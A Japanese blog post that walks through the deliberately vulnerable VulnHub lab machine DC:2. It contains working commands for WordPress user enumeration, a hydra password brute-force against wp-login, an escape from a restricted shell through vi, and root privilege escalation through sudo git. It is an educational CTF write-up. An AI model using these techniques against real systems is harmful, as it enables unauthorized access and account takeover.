LoginSignup
0
1

More than 3 years have passed since last update.

vulnhub Walkthrough:DC:2

Last updated at Posted at 2021-01-11

初心者がいっぱしのセキュリティエンジニアを目指す為に勉強した備忘録となりますので間違っているとことがあるかもしれません。
vulnhubの意図的に脆弱性が作り込まれたDC:2のWalkthroughとなります。

vulnhubの情報

Name DC: 2
Date release 22 Mar 2019
Author DCAU
Series DC
Web page http://www.five86.com/dc-2.html

PortScan:

今回はApacheが起動しているようです。

PORT SERVICE VERSION
80 http Apache httpd 2.4.10 ((Debian))

root@kali:~# nmap -sS -sV 192.168.56.59
Starting Nmap 7.70 ( https://nmap.org ) at 2020-05-03 06:11 EDT
Nmap scan report for 192.168.56.59
Host is up (0.00016s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
MAC Address: 08:00:27:71:01:41 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.28 seconds

Enumeration:

スクリーンショット 2020-05-03 19.16.29.png

WordPressで動いているようです。とりあえず、ユーザを列挙できないか試してみます。
http://dc-2/index.php/wp-json/wp/v2/usersにアクセスしたところ、adminjerryというユーザが存在しそうです。

スクリーンショット 2020-05-03 20.01.08.png

view-source:http://dc-2/?author=2も確認してみたところadminjerry以外にもTom Catというユーザも存在するかもしれません。authoridを変更することで、title欄がadmin(id=1)jerry(id=3)に変わることから判断しました。

スクリーンショット 2020-05-03 20.40.47.png

Tom Catはどうやら、tomというユーザ名で登録されているようです。

スクリーンショット 2020-05-03 20.46.37.png

Exploitation:

flag1にcewlを使ってみろと書いてあるので、使用してみます。

スクリーンショット 2020-05-03 19.25.06.png

root@kali:~# cewl -w wordlist.txt http://dc-2
CeWL 5.4.3 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
root@kali:~# cat wordlist.txt 
sit
amet
nec
quis
vel
orci
site
non
sed
vitae
luctus
sem
Sed
leo
ante
content
nisi
Donec
turpis
Aenean
wrap
tincidunt
finibus

ワードリストを作成することができました。
先ほど見つけた、ユーザとワードリストを組み合わせてwordpressのログインに総当たり攻撃を行なってみます。


hydra -L user.txt -P wordlist.txt dc-2 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'


[80][http-post-form] host: dc-2   login: jerry   password: adipiscing
[80][http-post-form] host: dc-2   login: tom   password: parturient
1 of 1 target successfully completed, 2 valid passwords found

tomjerryのパスワードがわかりました。

wordpressにログインしてみるとflag 2が存在しました。

スクリーンショット 2020-05-03 20.05.40.png

flag2に書いているあるので、 sshでjerrytomが接続できるか試してみたところ、tomで接続できました。


root@kali:~# ssh tom@192.168.56.59 -p 7744
tom@192.168.56.59s password: 

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tom@DC-2:~$ 

Privilege Escalation:

tomではコマンドが制限されています。


tom@DC-2:~$ id
-rbash: id: command not found

viが使用できることがわかったので、/bin/bashに変更します。


vi
:set shell=/bin/bash
:shell

環境変数が/home/tom/usr/bin$SHELL/bin/rbashになっていたので変更しました。


tom@DC-2:~$ echo $PATH
/home/tom/usr/bin
tom@DC-2:~$ export PATH=/bin
tom@DC-2:~$ echo $PATH
/bin
tom@DC-2:~$ echo $SHELL
/bin/rbash
tom@DC-2:~$ echo $SHELL
/bin/sh

flag3を発見!!


tom@DC-2:~$ cat flag3.txt 
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

suコマンドでjerryになることができました。


tom@DC-2:~$ su jerry
Password: 
jerry@DC-2:/home/tom$ 

sudoを確認したところroot権限でgitがパスワードなしで実行することができそうです。


jerry@DC-2:/home/tom$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

git help configを使用し、!/bin/shを入力します。
root権限を取得することができました。

いぇ〜い


jerry@DC-2:/home/tom$ sudo git help config
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls
final-flag.txt
# cat final-flag.txt
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

# 

免責事項

本記事は情報セキュリティにおける攻撃の理解、防衛のスキル向上を目的としたセキュリティに関する内容がございます。本記事の内容を使用し発生した如何なる損害や損失について、当記事作成者は一切の責任を負いません。
本記事の内容を実際に使用して、第三者の個人や組織などを攻撃した場合は
法律により罰せられる可能性がありので、必ず自身が所有している環境のみを
対象とし、他人や組織が所有している環境は決して対象としないようお願いします。

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1